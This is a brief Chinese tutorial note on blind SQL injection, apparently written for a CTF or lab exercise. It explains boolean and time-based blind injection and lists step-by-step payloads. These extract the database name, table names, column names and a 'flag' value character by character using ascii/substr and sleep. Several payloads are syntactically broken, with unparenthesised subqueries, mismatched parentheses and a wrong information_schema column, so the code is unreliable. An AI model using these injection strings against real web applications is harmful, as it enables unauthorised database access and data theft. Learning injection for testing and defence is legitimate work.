sql注入——盲注

一,盲注介绍
所谓盲注就是在服务器没有错误回显的时候完成注入攻击。
盲注分为布尔盲注和时间盲注
布尔盲注:boolean 根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
二,盲注需要掌握的函数
length()返回字符串长度
substr()截取字符串
substr(str,num,ptr)
ascii()返回字符串的ascii码
sleep(n)将程序挂起n秒
if(exp1,exp2,exp3)判断语句,如果第一个语句正确执行第二个,如果错误执行第三个语句
三,布尔盲注测试流程
1,猜解当前数据库名称长度

id=1'and (length(select database()))>8--+

2,利用ascii码猜解当前数据库名称

and (ascii(substr(database(),1,1)))=115--+

返回正常,说明数据库名第一位是s

and (ascii(substr(database(),2,1)))=101--+

返回正常,说明数据库名第二位是e
3,猜表名

and (ascii(substr(select table_name from information_schema.tables  where schema_name = database() limit 0,1),1,1)))=101--+

返回正常说明数据库表名第一位是e
4,猜字段名

and (ascii(substr(select column_name from information_schema.columns  where table_name = email limit 0,1),1,1)))=102--+

返回正常,说明email表中的列名第一位是f
5,猜内容

and ascii(substr(select flag from email limit 0,1),1,1)))=122--+

返回正常,说明flag字段内容第一位是z
四,时间盲注测试流程
1,首先判断数据库名长度

id=1'and (length(select database()))>8--+

2,利用if语句进行条件判定

and if(ascii(substr(database(),1,1))>120,1,sleep(10)--+

如果语句未延迟执行那么第一个语句成立,那我们可以依次往后判断
时间盲注就是不停的利用语句查看运行的时间来判断前面语句是否成立

03-09 14:07